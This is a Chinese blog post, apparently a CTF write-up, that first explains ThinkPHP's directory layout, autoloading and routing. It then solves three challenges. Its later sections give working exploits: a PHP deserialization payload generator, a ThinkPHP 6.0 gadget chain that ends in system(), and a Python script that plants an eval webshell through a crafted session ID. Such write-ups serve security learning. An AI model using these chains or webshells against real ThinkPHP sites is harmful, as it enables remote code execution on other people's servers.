从0到1对基于thinkphp的相关CTF题目分析

首发先知:

https://xz.aliyun.com/t/7685

前言

最近学习了一些thinkphp的知识,本文记录了一下从小白开始学习Thinkphp并解决相关题目的一些内容(大佬请绕路~)。

基础知识

简单介绍

ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib、RoR的ORM映射和ActiveRecord模式

MVC模式

MVC全名是Model View Controller,是模型(model)-视图(view)-控制器(controller)的缩写,一种软件设计典范,用一种业务逻辑、数据、界面显示分离的方法组织代码

TP5.0的目录及其作用

├─application           应用目录(可设置)
│  ├─common             公共模块目录(可更改)
│  ├─index              前台目录
│  │  ├─config.php      模块配置文件
│  │  ├─common.php      模块函数文件
│  │  ├─controller      控制器目录 //负责业务逻辑
│  │  ├─model           模型目录
│  │  ├─view            视图目录  //负责展示
│  │  └─ ...            更多类库目录
│  ├─command.php        命令行工具配置文件
│  ├─common.php         应用公共(函数)文件
│  ├─config.php         应用(公共)配置文件
│  ├─database.php       数据库配置文件
│  ├─tags.php           应用行为扩展定义文件
│  └─route.php          路由配置文件
├─extend                扩展类库目录(可定义)
├─public                WEB 部署目录(对外访问目录)
│  ├─static             静态资源存放目录(css,js,image)
│  ├─index.php          应用入口文件
│  ├─router.php         快速测试文件
│  └─.htaccess          用于 apache 的重写
├─runtime               应用的运行时目录(可写,可设置) //缓存目录
├─vendor                第三方类库目录(Composer)
├─thinkphp              框架系统目录
│  ├─lang               语言包目录
│  ├─library            框架核心类库目录
│  │  ├─think           Think 类库包目录
│  │  └─traits          系统 Traits 目录
│  ├─tpl                系统模板目录
│  ├─.htaccess          用于 apache 的重写
│  ├─.travis.yml        CI 定义文件
│  ├─base.php           基础定义文件
│  ├─composer.json      composer 定义文件
│  ├─console.php        控制台入口文件
│  ├─convention.php     惯例配置文件
│  ├─helper.php         助手函数文件(可选)
│  ├─LICENSE.txt        授权说明文件
│  ├─phpunit.xml        单元测试配置文件
│  ├─README.md          README 文件
│  └─start.php          框架引导文件
├─build.php             自动生成定义文件(参考)
├─composer.json         composer 定义文件
├─LICENSE.txt           授权说明文件
├─README.md             README 文件
├─think                 命令行入口文件

Thinkphp的入口文件位于public/index.php,它的作用为:定义框架路径、项目路径(可选)、定义系统相关常量(可选)、载入框架入口文件(必须);我们编写的WEB应用的Controller、View以及Model位于/application目录下

虽然有很多不同的TP版本,但它们的目录结构大同小异。

命名空间与自动加载

TP5.0在没有启用路由的情况下,URL访问大概类似这样:

http://127.0.0.1/thinkphp/public/index.php/index/Index/index

首先,/public/index.php为入口文件,其后的第一个indexIndex模块,其对应目录为application/index/;第二个Index为Index控制器,对应文件为application/index/Index.php;第三个index为Index控制器中的index方法,其对于与application/index/Index.php文件的Index类中的index方法

在ThinkPHP 5.0 中,只需要给类库正确定义所在的命名空间,并且命名空间的路径与类库文件的目录一致,那么就可以实现类的自动加载,从而实现真正的惰性加载。

可以这样理解:一个根命名空间对应了一个类库包;系统内置的根命名空间(类库包):

名称 描述 类库目录
think 系统核心类库 thinkphp/library/think
traits 系统Trait类库 thinkphp/library/traits
app 应用类库 application

我们从官网上下载TP5.0,解压后移动到网站根目录,然后访问public/

我们找到其对应的控制器,其位于application/index/controller/Index.php

1
2
3
4
5
6
7
8
9
10
<?php
namespace app\index\controller;

class Index
{
public function index()
{
return '<style type="text/css">*{ padding: 0; margin: 0; } .think_default_text{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:)</h1><p> ThinkPHP V5<br/><span style="font-size:30px">十年磨一剑 - 为API开发设计的高性能框架</span></p><span style="font-size:22px;">[ V5.0 版本由 <a href="http://www.qiniu.com" target="qiniu">七牛云</a> 独家赞助发布 ]</span></div><script type="text/javascript" src="http://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script><script type="text/javascript" src="http://ad.topthink.com/Public/static/client.js"></script><thinkad id="ad_bd568ce7058a1091"></thinkad>';
}
}

首先它声明了它的命名空间为app\index\controller,这和它所在路径名称对应相同,便可实现这个类的自动加载

接着我们在这个类中添加个test方法:

1
2
3
4
public function test()
{
return 'Hello World';
}

然后访问,可以成功调用:

路径与路由

我们上面做了个测试,要访问test方法,需要输入下面的URL:

http://127.0.0.1/thinkphp/public/index.php/index/index/test

但这样访问的URL,无论是对客户还是开发者,都可能会觉得这样的URL看起来不简洁,简化URL可以使我们更加方便记忆,也有利于爬虫抓取;那么我们可通过以下途径来简化URL

1.隐藏入口文件

我们直接用上述环境省去index.php访问,发现可以成功访问:

找到/public目录,查看隐藏文件,可发现.htaccess文件:

其内容为:

<IfModule mod_rewrite.c>
  Options +FollowSymlinks -Multiviews
  RewriteEngine On

  RewriteCond %{REQUEST_FILENAME} !-d
  RewriteCond %{REQUEST_FILENAME} !-f
  RewriteRule ^(.*)$ index.php/$1 [QSA,PT,L]
</IfModule>

意思就是如果没有检测出请求的是目录/文件,就会在请求的路径前加上index.php访问,对于Apache .htaccess详细的配置,可参考这篇文章

如果测试以上内容失败,需要检查Apache是否配置了rewrite重写

2.隐藏模块

public/index.php中的define...require...中间加入:

1
define("BIND_MODULE", "index");

这样index.php便和index模块绑定在了一起,访问的时候便可直接忽略掉模块;由于.htaccess的配置可忽略掉入口的index.php,那么便可直接访问/控制器/方法

3.路由

路由模式共有三种:

  • 普通模式:关闭路由,完全使用PATH_INFO,即上面所使用的形式
  • 混合模式:开启路由,并使用路由定义+默认PATH_INFO的方式
  • 强制模式:开启路由,并设置只能使用路由访问

我们找到其配置文件,位于application/config.php,搜索关键字route,可以搜索到:

// 是否开启路由
'url_route_on'           => true,

// 是否强制使用路由
'url_route_must'         => false,

那么它默认采用的模式为混合模式;可更改上面这两个配置来更改路由模式。

路由注册可以采用方法动态单个和批量注册,也可以直接定义路由定义文件的方式进行集中注册。这里就简单介绍一下动态单个注册的方法

首先找到路由配置文件,位于application/route.php,将原有内容注释掉,然后写入:

// 引入系统类
use think\Route;
// 定义路由规则
Route::rule('gtfly', 'index/index/test');

路由规则为:

Route::rule('路由表达式','路由地址','请求类型','路由参数(数组)','变量规则(数组)');

那么我们上面的配置即配置了路径/gtflyindex/index/test的映射:

系统提供了为不同的请求类型定义路由规则的简化方法,例如:

Route::get(); // 定义GET请求路由规则
Route::post(); // 定义POST请求路由规则
Route::put(); // 定义PUT请求路由规则
Route::delete(); // 定义DELETE请求路由规则
Route::any(); // 所有请求都支持的路由规则

接着如果还想把/public目录给隐藏了,只需在Apache配置文件中进行相应配置即可。

当然上述配置只是thinkphp的冰山一角,详细的配置还是建议去阅读官方手册

强网杯 2019 Upload

首先根据注册和登录时的页面可推断出其使用了thinkphp:

登录后只有一个上传功能;扫描路径发现源码

下载源码后用VScode打开,通过README.md可以知道用的是ThinkPHP5.1 LTS版本;查看route/route.php看到其定义的路由:

(最后的miss路由的意思是当没有匹配到所有的路由规则后,会路由到miss路由地址)

可以看到,所有的路由都指向了web这个模块,该模块下共有四个控制器,我们先来看其处理上传图片的方法:

它判断如果上传了文件,那么就会将文件以md5(文件名)改名,并且将后缀拼接上.png,改完名后进行了一次后缀名检测和对ext的赋值:

如果上传了图片,那么ext肯定是有值的,接着便会用getimagesize读取上传的文件前十几个字节来判断是否为图片,之后将filename_tmp指向的内容复制到filename

那么如果我们先上传一个图片马,令filename_tmp等于这个图片马的路径,再令filename等于xxx.php,这样经过copy后便可实现RCE;但如果直接上传文件的话,filename的后缀会一直都是.png,无法实现更改后缀。因此需要观察其他的利用点

在Index.php中,发现有一处使用了反序列化,并且没有进行任何过滤:

那么寻找这些类中的魔法方法,

Register.php:

Profile.php:

这些方法的含义:

__get():读取不可访问属性的值时,`__get()`会被调用

__call():在对象中调用一个不可访问的方法时,`__call()`会被调用

__destruct():在到某个对象的所有引用都被删除或者当对象被显式销毁时执行

我们让Register类中的$this->checker等于Profile,那么Register类销毁时会调用index方法,从而触发__call方法,此时__call方法接收的$name变量为index,在判断时,由于不存在$this->index,便会触发__get,此时__get方法接收的$name变量也为index,它会返回$this->except['index'],那么我们可以构造except为一个数组,键名为index,值为我们要触发的函数名,返回函数名后,便会调用$this->{$this->{$name}}($arguments);,由于$arguments为空,那么这句话的意思就是调用__get返回的这个函数

单独简化一下,大概就是这样:

那么首先我们上传一个图片马,拿到其地址,接着构造payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

namespace app\web\controller;

class Profile{
public $checker = 0;
public $filename_tmp = '/var/www/html/public/upload/48cd8b43081896fbd0931d204f947663/1f3a5130dd672681e411c19069a4cc98.png';
public $filename = '/var/www/html/public/upload/48cd8b43081896fbd0931d204f947663/xxx.php';
public $upload_menu;
public $ext = 1;
public $img;
public $except = ['index' => 'upload_img'];
}

namespace app\web\controller;

class Register{
public $checker;
public $registed = 0;
}

$a = new Register();
$b = new Profile();
$a->checker = $b;
echo base64_encode(serialize($a));

将生成的cookie进行替换:

虽然显示系统发生错误,但可以成功访问木马:

安洵杯 2019 iamthinking

拿到题目,扫描发现源码,使用的框架为thinkphp6.0

只有一个Index控制器:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
namespace app\controller;
use app\BaseController;

class Index extends BaseController
{
public function index()
{

echo "<img src='../test.jpg'"."/>";
$paylaod = @$_GET['payload'];
if(isset($paylaod))
{
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
foreach($query as $value)
{
if(preg_match("/^O/i",$value))
{
die('STOP HACKING');
exit();
}
}
unserialize($paylaod);
}
}
}

它将我们传入的参数进行检测后进行了反序列化,检测我们的参数中不能出现O,对于parse_url,在host后面添加两个斜线便可使parse_url失效

由于不存在其他的控制器,我们就要从这个框架本身去挖掘其隐藏的反序列化利用链;对于反序列化,常见的起点函数有:

  • __wakeup

  • __destruct

  • __toString

在VScode中,按住Ctrl+Shift+F全局搜索__destruct,可以发现主要有两条利用链,这里说一下思路

利用链1

入口点在vendor/topthink/think-orm/src/Model.php__destruct方法中,整个利用链主要涉及到了三个类,分别是abstract class Modeltrait Conversiontrait Attribute;由于Model类是抽象类,不能被实例化,那么可以找到该类的子类,其位于vendor/topthink/think-orm/src/model/Pivot.php;同样,trait类是复用类,也是不能被实例化的,可以找到复用它的类来实例化

先说一下整个触发链:

save() => updateData() => checkAllowFields() => __tostring() => toJson() => toArray() => getAttr() => getValue()

具体就不一张一张截图了,可以用VScode或PHPStorm等审计工具一步步跳转定义或引用来实现跟踪;这里将利用到的代码整合到一起:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
//Model.php;Model类为抽象类,Pivot为其子类
public function __destruct()
{
if ($this->lazySave) {
$this->save();
}
}
//Model.php;
public function save(array $data = [], string $sequence = null): bool
{
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
}
//Model.php;
protected function updateData(): bool
{
$allowFields = $this->checkAllowFields();
}
//Model.php;
protected function checkAllowFields(): array
{
$table = $this->table ? $this->table . $this->suffix : $query->getTable();
}

//Conversion.php;复用类,Model类中复用该类
public function __toString()
{
return $this->toJson();
}
//Conversion.php
public function toJson(int $options = JSON_UNESCAPED_UNICODE): string
{
return json_encode($this->toArray(), $options);
}
//Conversion.php
public function toArray(): array
{
$item[$key] = $this->getAttr($key);
}
//Attribute.php;复用类,Model类中复用该类
public function getAttr(string $name)
{
return $this->getValue($name, $value, $relation);
}
//Attribute.php;令$closure为system,便可getshell
protected function getValue(string $name, $value, $relation = false)
{
$closure = $this->withAttr[$fieldName];
$value = $closure($value, $this->data);
}

只需按照上述流程,更改这些类中的属性,使上述流程能够进行,便可getshell

利用链2

这个利用链在年初被赵师傅改成了2020 新春红包题在BUU上,这里就不细说了,可参考相关wp:http://www.gtfly.top/2020/01/29/2020-01-29-2020BuuCTF%E6%96%B0%E6%98%A5%E7%BA%A2%E5%8C%85%E9%A2%98/

GYCTF2020 EasyThinking

通过扫描发现目标存在源码泄露;查看目标thinkphp版本为6.0,搜到该版本存在通过session写文件的bug,具体分析可参考已有师傅分析过的文章:

https://xz.aliyun.com/t/7131

即session后缀是我们可控的,那么只要在写入session时数据我们可控,便可进行写shell;查看控制器,其主要逻辑代码位于app/home/controller/Member.php这个控制器内。Member控制器的search方法有这样一个判断:

1
2
3
4
if (!session('?UID')){    
return redirect('/home/member/login');
}
$data = input("post.");$record = session("Record");if (!session("Record")){ session("Record",$data["key"]);}

只有这个地方存在任意session写入,那么我们要绕过第一个判断,也就是说要存在一个session文件,含有UID这个字段;那么接着找将UID写入session的点;

在login方法中找到:

1
2
3
4
if ($userId){    
session("UID",$userId);
return redirect("/home/member/index");
}

要满足条件为正确的用户名和密码,因此构造可执行的php文件思路为:

1.正常注册一个账号

2.登陆时更改sessid为.php结尾(满足长度32位)

3.用相同的cookie向home/member/searchPOST一句话

4.在/runtime/session/中找到我们的马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests

url_reg = 'http://xxx/home/member/register'
url_log = 'http://xxx/home/member/login'
url_sea = 'http://xxx/home/member/search'

headers = {
'Cookie':'PHPSESSID=1234567890123456789012345678.php'
}

data1 = {'username':'gtfly', 'password':'123456'}

data2 = {'key':'<?php @eval($_POST["t"]);echo "not flag"; ?>'}

s1 = requests.post(url_reg, data1)
s2 = requests.post(url_log, data1, headers=headers)
s3 = requests.post(url_sea, data2, headers=headers)

test = 'http://xxx/runtime/session/sess_1234567890123456789012345678.php'

s = requests.get(test).text
if 'not flag' in s:
print('success')
else:
print('failed')

之后绕过disable functions即可

如上述内容存在错误还望师傅们指正

参考链接

https://xz.aliyun.com/t/6924#toc-9
https://xz.aliyun.com/t/7131